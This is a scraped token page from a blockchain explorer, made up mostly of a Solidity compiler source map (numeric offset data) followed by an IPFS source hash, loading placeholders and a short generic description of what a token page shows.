281:1:0;12194:98;-1:-1:-1;12194:98:0:o;11198:260::-;11308:15;11326:47;11344:4;11350:11;11363:9;11326:17;:47::i;:::-;11308:65;-1:-1:-1;11384:66:0;11404:4;11410:2;11308:65;11423:26;:11;11439:9;11423:15;:26::i;:::-;11384:19;:66::i;:::-;11297:161;11198:260;;;;:::o;1577:136::-;1635:7;1662:43;1666:1;1669;1662:43;;;;;;;;;;;;;;;;;:3;:43::i;1390:179::-;1448:7;;1480:5;1484:1;1480;:5;:::i;:::-;1468:17;;1509:1;1504;:6;;1496:46;;;;-1:-1:-1;;;1496:46:0;;12836:2:1;1496:46:0;;;12818:21:1;12875:2;12855:18;;;12848:30;12914:29;12894:18;;;12887:57;12961:18;;1496:46:0;12634:351:1;2313:189:0;2399:7;2434:12;2427:5;2419:28;;;;-1:-1:-1;;;2419:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2458:9:0;2470:5;2474:1;2470;:5;:::i;11772:414::-;11917:10;;11872:7;;;;-1:-1:-1;;;;;11917:10:0;;;11910:17;;;;:61;;11941:13;;:30;;11959:11;11941:17;:30::i;:::-;11910:61;;;11929:11;11910:61;11892:79;-1:-1:-1;11986:12:0;;11982:172;;12060:4;12042:24;;;;:9;:24;;;;;;:39;;12071:9;12042:28;:39::i;:::-;12033:4;12015:24;;;;:9;:24;;;;;;;:66;;;;12101:41;;-1:-1:-1;;;;;12101:41:0;;;;;;;12132:9;1231:25:1;;1219:2;1204:18;;1085:177;12101:41:0;;;;;;;;11982:172;12171:7;11772:414;-1:-1:-1;;;;11772:414:0:o;11466:298::-;-1:-1:-1;;;;;11617:15:0;;;;;;:9;:15;;;;;;:31;;11637:10;11617:19;:31::i;:::-;-1:-1:-1;;;;;11599:15:0;;;;;;;:9;:15;;;;;;:49;;;;11675:13;;;;;;;:32;;11693:13;11675:17;:32::i;:::-;-1:-1:-1;;;;;11659:13:0;;;;;;;:9;:13;;;;;;;:48;;;;11723:33;;;;;;;;;;11742:13;1231:25:1;;1219:2;1204:18;;1085:177;11723:33:0;;;;;;;;11466:298;;;;:::o;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:315;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;878:2;863:18;;;;850:32;;-1:-1:-1;;;573:315:1:o;1267:456::-;1344:6;1352;1360;1413:2;1401:9;1392:7;1388:23;1384:32;1381:52;;;1429:1;1426;1419:12;1381:52;1468:9;1455:23;1487:31;1512:5;1487:31;:::i;:::-;1537:5;-1:-1:-1;1594:2:1;1579:18;;1566:32;1607:33;1566:32;1607:33;:::i;:::-;1267:456;;1659:7;;-1:-1:-1;;;1713:2:1;1698:18;;;;1685:32;;1267:456::o;1917:247::-;1976:6;2029:2;2017:9;2008:7;2004:23;2000:32;1997:52;;;2045:1;2042;2035:12;1997:52;2084:9;2071:23;2103:31;2128:5;2103:31;:::i;2377:388::-;2445:6;2453;2506:2;2494:9;2485:7;2481:23;2477:32;2474:52;;;2522:1;2519;2512:12;2474:52;2561:9;2548:23;2580:31;2605:5;2580:31;:::i;:::-;2630:5;-1:-1:-1;2687:2:1;2672:18;;2659:32;2700:33;2659:32;2700:33;:::i;:::-;2752:7;2742:17;;;2377:388;;;;;:::o;2770:127::-;2831:10;2826:3;2822:20;2819:1;2812:31;2862:4;2859:1;2852:15;2886:4;2883:1;2876:15;2902:416;2991:1;3028:5;2991:1;3042:270;3063:7;3053:8;3050:21;3042:270;;;3122:4;3118:1;3114:6;3110:17;3104:4;3101:27;3098:53;;;3131:18;;:::i;:::-;3181:7;3171:8;3167:22;3164:55;;;3201:16;;;;3164:55;3280:22;;;;3240:15;;;;3042:270;;;3046:3;2902:416;;;;;:::o;3323:806::-;3372:5;3402:8;3392:80;;-1:-1:-1;3443:1:1;3457:5;;3392:80;3491:4;3481:76;;-1:-1:-1;3528:1:1;3542:5;;3481:76;3573:4;3591:1;3586:59;;;;3659:1;3654:130;;;;3566:218;;3586:59;3616:1;3607:10;;3630:5;;;3654:130;3691:3;3681:8;3678:17;3675:43;;;3698:18;;:::i;:::-;-1:-1:-1;;3754:1:1;3740:16;;3769:5;;3566:218;;3868:2;3858:8;3855:16;3849:3;3843:4;3840:13;3836:36;3830:2;3820:8;3817:16;3812:2;3806:4;3803:12;3799:35;3796:77;3793:159;;;-1:-1:-1;3905:19:1;;;3937:5;;3793:159;3984:34;4009:8;4003:4;3984:34;:::i;:::-;4054:6;4050:1;4046:6;4042:19;4033:7;4030:32;4027:58;;;4065:18;;:::i;:::-;4103:20;;3323:806;-1:-1:-1;;;3323:806:1:o;4134:140::-;4192:5;4221:47;4262:4;4252:8;4248:19;4242:4;4221:47;:::i;4279:168::-;4352:9;;;4383;;4400:15;;;4394:22;;4380:37;4370:71;;4421:18;;:::i;4452:356::-;4654:2;4636:21;;;4673:18;;;4666:30;4732:34;4727:2;4712:18;;4705:62;4799:2;4784:18;;4452:356::o;5165:251::-;5235:6;5288:2;5276:9;5267:7;5263:23;5259:32;5256:52;;;5304:1;5301;5294:12;5256:52;5336:9;5330:16;5355:31;5380:5;5355:31;:::i;6342:306::-;6430:6;6438;6446;6499:2;6487:9;6478:7;6474:23;6470:32;6467:52;;;6515:1;6512;6505:12;6467:52;6544:9;6538:16;6528:26;;6594:2;6583:9;6579:18;6573:25;6563:35;;6638:2;6627:9;6623:18;6617:25;6607:35;;6342:306;;;;;:::o;6932:277::-;6999:6;7052:2;7040:9;7031:7;7027:23;7023:32;7020:52;;;7068:1;7065;7058:12;7020:52;7100:9;7094:16;7153:5;7146:13;7139:21;7132:5;7129:32;7119:60;;7175:1;7172;7165:12;10003:125;10068:9;;;10089:10;;;10086:36;;;10102:18;;:::i;10488:135::-;10527:3;10548:17;;;10545:43;;10568:18;;:::i;:::-;-1:-1:-1;10615:1:1;10604:13;;10488:135::o;10628:128::-;10695:9;;;10716:11;;;10713:37;;;10730:18;;:::i;10893:127::-;10954:10;10949:3;10945:20;10942:1;10935:31;10985:4;10982:1;10975:15;11009:4;11006:1;10999:15;11025:980;11287:4;11335:3;11324:9;11320:19;11366:6;11355:9;11348:25;11392:2;11430:6;11425:2;11414:9;11410:18;11403:34;11473:3;11468:2;11457:9;11453:18;11446:31;11497:6;11532;11526:13;11563:6;11555;11548:22;11601:3;11590:9;11586:19;11579:26;;11640:2;11632:6;11628:15;11614:29;;11661:1;11671:195;11685:6;11682:1;11679:13;11671:195;;;11750:13;;-1:-1:-1;;;;;11746:39:1;11734:52;;11841:15;;;;11806:12;;;;11782:1;11700:9;11671:195;;;-1:-1:-1;;;;;;;11922:32:1;;;;11917:2;11902:18;;11895:60;-1:-1:-1;;;11986:3:1;11971:19;11964:35;11883:3;11025:980;-1:-1:-1;;;11025:980:1:o;12010:217::-;12050:1;12076;12066:132;;12120:10;12115:3;12111:20;12108:1;12101:31;12155:4;12152:1;12145:15;12183:4;12180:1;12173:15;12066:132;-1:-1:-1;12212:9:1;;12010:217::o
Swarm Source
ipfs://b5408e5d3e123c0f2c90be553c58940a340417e45158b3c89bc86c7eec4998cf
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.